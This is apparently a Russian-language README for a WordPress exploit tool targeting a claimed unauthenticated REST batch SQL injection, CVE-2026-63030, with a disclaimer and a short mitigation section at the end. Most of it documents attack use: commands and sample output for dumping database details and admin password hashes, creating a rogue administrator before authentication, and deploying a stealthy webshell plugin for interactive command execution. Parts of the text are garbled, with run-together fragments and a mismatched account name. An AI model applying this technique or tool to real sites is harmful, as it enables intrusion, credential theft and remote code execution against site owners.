
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept
WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) — доказательство концепции
Исследование, разработка эксплойта и документация: Ch4120N
Этот репозиторий и сопутствующий инструмент (exploit.py) предназначены строго для образовательных целей, авторизованного тестирования на проникновение и исследований в области безопасности.
Использование этого эксплойта против целей без явного, предварительного, письменного согласия незаконно и нарушает законы о компьютерном мошенничестве и злоупотреблениях во всём мире. Автор (Ch4120N) не несёт абсолютно никакой ответственности за неправомерное использование, ущерб или правовые последствия, возникшие в результате использования этого кода. Всегда действуйте в рамках закона и получайте соответствующее разрешение.
CVE-2026-63030 — критическая уязвимость без аутентификации, затрагивающая WordPress REST API. Она эксплуатирует ошибку путаницы маршрутов (route-confusion) во вложенной конечной точке пакетной обработки (/wp-json/batch/v1 или /?rest_route=/batch/v1).
Когда WordPress обрабатывает пакет REST API запросов, он проверяет каждый подзапрос на соответствие его конкретной схеме перед выполнением. Однако из-за недостатка в том, как внутренний указатель маршрутизации обрабатывает намеренно повреждённые пути (например, ///), схема проверки рассинхронизируется с фактическим обработчиком выполнения.
/wp/v2/users (которая не принимает author_exclude), выполняется обработчиком /wp/v2/posts. Несанированный параметр author_exclude передаётся напрямую в условие author__not_in в WP_Query, что приводит к неаутентифицированной SQL-инъекции.oembed_cache. Затем эксплойт использует полезную нагрузку changeset из Customizer для отравления кэша меню навигации, обманывая WordPress и заставляя его выполнить запрос на создание пользователя в контексте существующего администратора.pip install не требуется.exploit.py).WP_Post (1 запрос на значение).EXTRACTVALUE(), если включён WP_DEBUG_DISPLAY.cd).Сторонние пакеты не требуются. Убедитесь, что установлен Python 3.8 или выше.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
Эксплойт разделён на три основные подкоманды: check, read и shell.
Эти параметры применяются ко всем подкомандам:
check — обнаружение уязвимостиБезопасно проверяет цель, чтобы подтвердить наличие маркеров путаницы маршрутов, и тестирует тайминги SQLi без извлечения данных.
read — извлечение данных из базы данныхИзвлекает данные напрямую из базы данных через SQL-инъекцию.
shell — удалённое выполнение кодаРазворачивает вебшелл и выполняет команды. Если учётные данные не предоставлены, автоматически запускает мост создания администратора до аутентификации.
Ниже приведены реальные примеры работы инструмента.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Обратите внимание, как инструмент автоматически создаёт учётную запись администратора, разворачивает шелл и выполняет очистку после выхода.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
Ядро эксплойта основано на внедрении _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Этот недопустимый URL заставляет внутреннюю маршрутизацию WordPress сгенерировать WP_Error для первого подзапроса. Это смещает внутренний указатель, из-за чего второй подзапрос проверяется по одной схеме, но выполняется обработчиком третьего подзапроса. Так параметр author_exclude протаскивается в WP_Query.
Вместо медленной слепой SQLi инструмент использует UNION SELECT для внедрения полностью сформированной поддельной строки wp_posts. Устанавливая orderby=none и per_page=500, он предотвращает разделение запроса WP_Query. Внедрённый post_title содержит hex-закодированный результат целевого SQL-выражения, обёрнутый в разделители ||, который напрямую отражается в JSON-ответе REST API.
Развёрнутый PHP-плагин спроектирован для высокой скрытности:
wp_a1b2c3d4.php).t) и команду (c) через GET-параметры.hash_equals() для предотвращения атак по времени на токен.chdir), чтобы предотвратить раскрытие пути.EXPLOIT::...::END для удобного разбора Python-клиентом.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1, содержащих author_exclude в URI.UNION, SLEEP() или EXTRACTVALUE в параметрах URL.///, в запросах REST API.wp-config.php для установлено значение , чтобы предотвратить утечку данных через error-based SQLi.«С большой силой приходит большая ответственность. Используйте эти знания, чтобы защищать, а не разрушать.»
— Ch4120N
| Option | Description | Default |
|---|
url | Целевой базовый URL (например, http://target.com) | Обязательно |
--rest-route | Использовать /?rest_route=/batch/v1 вместо /wp-json/batch/v1 (для сайтов с отключёнными постоянными ссылками). | False |
--timeout | Таймаут HTTP-запроса в секундах. | 30.0 |
--proxy | HTTP/HTTPS прокси (например, http://127.0.0.1:8080). | None |
| Option | Description | Default |
|---|
--sleep | Задержка SQL-тайминга (секунды), используемая запасным методом --confirm-sqli. | 3.0 |
--samples | Количество тестируемых пар базовых/задержанных SQL-таймингов. | 3 |
--confirm-sqli | Отправить активную полезную нагрузку для подтверждения SQLi (добавляет небольшую задержку). | False |
| Option | Description | Default |
|---|
--preset | Быстрые пресеты извлечения: fingerprint (версия/пользователь/БД) или users (логины/хеши). | fingerprint |
--query | Выполнить пользовательское скалярное SQL-выражение (например, "SELECT @@version"). | None |
--prefix | Префикс таблиц базы данных. | wp_ |
--max-length | Максимальное количество извлекаемых символов на значение. | 128 |
--technique | Техника извлечения: auto, union, error или blind. | auto |
| Option | Description | Default |
|---|
--user | Имя пользователя администратора. (Опустите, чтобы использовать мост до аутентификации). | None |
--password | Пароль администратора. (Опустите, чтобы использовать мост до аутентификации). | None |
--cmd | Одна команда для выполнения на цели. | None |
-i, --interactive | Открыть интерактивный шелл (REPL) после развёртывания. | False |
WP_DEBUG_DISPLAYfalse